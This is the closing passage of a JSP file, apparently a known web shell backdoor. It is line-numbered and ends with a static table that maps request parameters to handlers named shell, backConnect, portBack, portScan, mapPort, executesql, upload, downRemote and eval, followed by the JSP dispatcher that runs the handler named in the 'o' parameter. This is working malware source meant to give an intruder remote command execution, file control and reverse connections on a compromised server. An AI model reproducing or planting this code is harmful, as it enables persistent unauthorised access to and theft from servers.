3181public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3182try {
3183String type = request.getParameter("type");
3184PrintWriter out = response.getWriter();
3185if (type.equals("update")) {
3186String name = request.getParameter("name");
3187String value = request.getParameter("value");
3188JSession.setAttribute(name,value);
3189JSession.setAttribute(MSG,"Update/Add Attribute Success !");
3190} else if (type.equals("delete")) {
3191String name = request.getParameter("name");
3192JSession.removeAttribute(name);
3193JSession.setAttribute(MSG,"Remove Attribute Success !");
3194}
3195((Invoker)ins.get("vother")).invoke(request,response,JSession);
3196} catch (Exception e) {
3197
3198throw e ;
3199}
3200}
3201}
3202
3203static{
3204ins.put("script",new ScriptInvoker());
3205ins.put("before",new BeforeInvoker());
3206ins.put("after",new AfterInvoker());
3207ins.put("deleteBatch",new DeleteBatchInvoker());
3208ins.put("clipboard",new ClipBoardInvoker());
3209ins.put("vPortScan",new VPortScanInvoker());
3210ins.put("portScan",new PortScanInvoker());
3211ins.put("vConn",new VConnInvoker());
3212ins.put("dbc",new DbcInvoker());
3213ins.put("executesql",new ExecuteSQLInvoker());
3214ins.put("vLogin",new VLoginInvoker());
3215ins.put("login",new LoginInvoker());
3216ins.put("filelist", new FileListInvoker());
3217ins.put("logout",new LogoutInvoker());
3218ins.put("upload",new UploadInvoker());
3219ins.put("copy",new CopyInvoker());
3220ins.put("bottom",new BottomInvoker());
3221ins.put("vCreateFile",new VCreateFileInvoker());
3222ins.put("vEdit",new VEditInvoker());
3223ins.put("createFile",new CreateFileInvoker());
3224ins.put("vEditProperty",new VEditPropertyInvoker());
3225ins.put("editProperty",new EditPropertyInvoker());
3226ins.put("vs",new VsInvoker());
3227ins.put("shell",new ShellInvoker());
3228ins.put("down",new DownInvoker());
3229ins.put("vd",new VdInvoker());
3230ins.put("downRemote",new DownRemoteInvoker());
3231ins.put("index",new IndexInvoker());
3232ins.put("mkdir",new MkDirInvoker());
3233ins.put("move",new MoveInvoker());
3234ins.put("removedir",new RemoveDirInvoker());
3235ins.put("packBatch",new PackBatchInvoker());
3236ins.put("pack",new PackInvoker());
3237ins.put("unpack",new UnPackInvoker());
3238ins.put("vmp",new VmpInvoker());
3239ins.put("vbc",new VbcInvoker());
3240ins.put("backConnect",new BackConnectInvoker());
3241ins.put("jspEnv",new JspEnvInvoker());
3242ins.put("smp",new SmpInvoker());
3243ins.put("mapPort",new MapPortInvoker());
3244ins.put("top",new TopInvoker());
3245ins.put("vso",new VOnLineShellInvoker());
3246ins.put("online",new OnLineInvoker());
3247ins.put("enter",new EnterInvoker());
3248ins.put("export",new ExportInvoker());
3249ins.put("ev",new EvalInvoker());
3250ins.put("eu",new EvalUploadInvoker());
3251ins.put("vother",new VOtherInvoker());
3252ins.put("sm",new SmInvoker());
3253ins.put("vExport",new VExport2FileInvoker());
3254ins.put("vPack",new VPackConfigInvoker());
3255ins.put("reflect",new ReflectInvoker());
3256ins.put("portBack",new PortBackInvoker());
3257}
3258%>
3259<%
3260try {
3261String o = request.getParameter("o");
3262if (Util.isEmpty(o)) {
3263if (session.getAttribute(SESSION_O) == null)
3264o = "index";
3265else {
3266o = session.getAttribute(SESSION_O).toString();
3267session.removeAttribute(SESSION_O);
3268}
3269}
3270Object obj = ins.get(o);
3271if (obj == null) {
3272response.sendRedirect(SHELL_NAME);
3273} else {
3274 Invoker in = (Invoker)obj;
3275if (in.doBefore()) {
3276String path = request.getParameter("folder");
3277if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
3278session.setAttribute(CURRENT_DIR,path);
3279((Invoker)ins.get("before")).invoke(request,response,session);
3280((Invoker)ins.get("script")).invoke(request,response,session);
3281((Invoker)ins.get("top")).invoke(request,response,session);
3282}
3283in.invoke(request,response,session);
3284if (!in.doAfter()) {
3285return;
3286}else{
3287((Invoker)ins.get("bottom")).invoke(request,response,session);
3288((Invoker)ins.get("after")).invoke(request,response,session);
3289}
3290}
3291} catch (Exception e) {
3292Object msg = session.getAttribute(MSG);
3293if (msg != null) {
3294Util.outMsg(out,(String)msg);
3295session.removeAttribute(MSG);
3296}
3297if (e.toString().indexOf("ClassCastException") != -1) {
3298Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
3299}
3300ByteArrayOutputStream bout = new ByteArrayOutputStream();
3301e.printStackTrace(new PrintStream(bout));
3302session.setAttribute(CURRENT_DIR,SHELL_DIR);
3303Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
3304bout.close();
3305out.flush();
3306((Invoker)ins.get("bottom")).invoke(request,response,session);
3307((Invoker)ins.get("after")).invoke(request,response,session);
3308}
3309%>